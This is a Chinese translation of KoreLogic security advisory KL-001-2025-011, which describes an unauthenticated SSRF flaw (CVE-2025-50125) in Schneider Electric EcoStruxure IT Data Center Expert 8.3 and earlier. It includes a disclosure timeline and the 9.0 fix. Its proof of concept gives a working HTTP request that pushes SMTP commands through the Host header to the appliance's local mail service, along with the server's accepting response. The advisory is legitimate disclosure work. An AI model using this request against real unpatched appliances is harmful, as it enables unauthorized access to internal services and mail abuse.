施耐德电气EcoStruxure IT数据中心专家未授权服务器端请求伪造漏洞分析

本文详细分析了施耐德电气EcoStruxure IT数据中心专家软件8.3及之前版本存在的未授权服务器端请求伪造漏洞,包括技术细节、漏洞利用方式和修复建议。

KL-001-2025-011: 施耐德电气EcoStruxure IT数据中心专家未授权服务器端请求伪造

标题: 施耐德电气EcoStruxure IT数据中心专家未授权服务器端请求伪造
公告ID: KL-001-2025-011
发布日期: 2025-07-09
公告URL: https://korelogic.com/Resources/Advisories/KL-001-2025-011.txt

1. 漏洞详情

  • 受影响厂商: 施耐德电气
  • 受影响产品: EcoStruxure IT数据中心专家
  • 受影响版本: 8.3及之前版本
  • 平台: CentOS
  • CWE分类: CWE-918: 服务器端请求伪造(SSRF)
  • CVE ID: CVE-2025-50125

2. 漏洞描述

数据中心专家(“DCE”)设备基于用户控制的值不安全地转发HTTP请求,使未授权用户能够强制Web应用程序将数据发送到任意位置,例如监听在localhost上的SMTP服务。

3. 技术描述

当HTTP请求发送到"/plugins"或"/capturelogs"端点时,请求会根据"Host"请求头进行转发。由于"Host"请求头未经过验证,用户可以提供任何主机/端口组合,将数据发送到任意位置并查看响应,从而造成服务器端请求伪造漏洞。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
GET /plugins HTTP/1.1
Host: example.com

HTTP/1.1 404 Not Found
...
<!doctype html>
<html>
<head>
    <title>Example Domain</title>
...

上游路径不可控,且不遵循HTTP重定向。

除了发出受限的HTTP请求外,还可以将恶意数据发送到利用类似HTTP协议的其他服务,例如监听在设备环回地址上的SMTP服务。尝试向SMTP服务发送格式良好的HTTP请求会导致TCP连接过早断开,因为常见的HTTP动词是恶意活动的标志。然而,DCE设备采用的代理机制不验证动词,允许包含有效SMTP命令(如"EHLO"和"MAIL FROM")的畸形请求。

当接收到意外数据(如"Host"和"X-Forwarded-For"请求头)时,会返回良性错误而不断开TCP连接,允许后续发送额外的(格式良好的)SMTP命令。

4. 缓解和修复建议

EcoStruxure IT数据中心专家9.0版本包含对这些漏洞的修复,可通过施耐德电气客户服务中心获取。参考:https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2025-189-01&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2025-189-01.pdf

5. 致谢

此漏洞由KoreLogic, Inc.的Jaggar Henry和Jim Becher发现。

6. 披露时间线

  • 2024-11-21: KoreLogic向施耐德电气CPCERT报告漏洞详情
  • 2024-11-22: 厂商确认收到KoreLogic的提交
  • 2024-12-06: 厂商确认报告的漏洞
  • 2024-12-12: 厂商请求与KoreLogic会面,讨论此漏洞及相关提交的修复时间表
  • 2024-12-18: KoreLogic和施耐德电气同意将漏洞详情保密至产品更新9.0(约2025年7月)
  • 2025-01-29: 厂商提供状态更新
  • 2025-03-17: 厂商提供包含对此漏洞及KoreLogic报告的其他相关漏洞修复的测试版
  • 2025-06-20: 厂商通知KoreLogic此漏洞的发布日期为2025-07-08
  • 2025-07-08: 厂商公开披露
  • 2025-07-09: KoreLogic公开披露

7. 概念验证

此行为允许未授权攻击者与通常不暴露给互联网的服务(如设备的SMTP服务)交互,以进一步利用和枚举系统。

以下是发送到监听在TCP/80端口的DCE Web界面的HTTP请求:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
EHLO /plugins?%0a%0dfoobar HTTP/1.1
Host: 127.0.0.1:25
Content-Length: 137

HELO localhost
MAIL FROM:<root@localhost>
RCPT TO:<apcreset@localhost>
DATA
Subject: foobar

This is a test email body
.
QUIT

如HTTP响应所示,不代表有效SMTP命令的请求头被忽略,允许将正文解析为有效消息:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
HTTP/1.1 200 OK
...

220 dce.example.com ESMTP Sendmail 8.14.4/8.14.4; Mon, 1 Jul 2024 07:00:08 -0400501 5.0.0 Invalid domain name
500 5.5.1 Command unrecognized: "Host: 127.0.0.1:25"
500 5.5.1 Command unrecognized: "X-Forwarded-For: 192.168.2.65"
500 5.5.1 Command unrecognized: "X-Forwarded-Host: 127.0.0.1:25"
500 5.5.1 Command unrecognized: "X-Forwarded-Server: dce.example.com"
500 5.5.1 Command unrecognized: "Connection: Keep-Alive"
500 5.5.1 Command unrecognized: "Content-Length: 141"
500 5.5.1 Command unrecognized: ""
250 dce.example.com Hello localhost.localdomain [127.0.0.1], pleased to meet you
250 2.1.0 <root@localhost>... Sender ok
250 2.1.5 <apcreset@localhost>... Recipient ok
354 Enter mail, end with "." on a line by itself
250 2.0.0 461B08WP030169 Message accepted for delivery
221 2.0.0 dce.example.com closing connection

本公告内容版权归(c) 2025 KoreLogic, Inc.所有,并根据知识共享署名-相同方式共享4.0(美国)许可协议授权:http://creativecommons.org/licenses/by-sa/4.0/

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计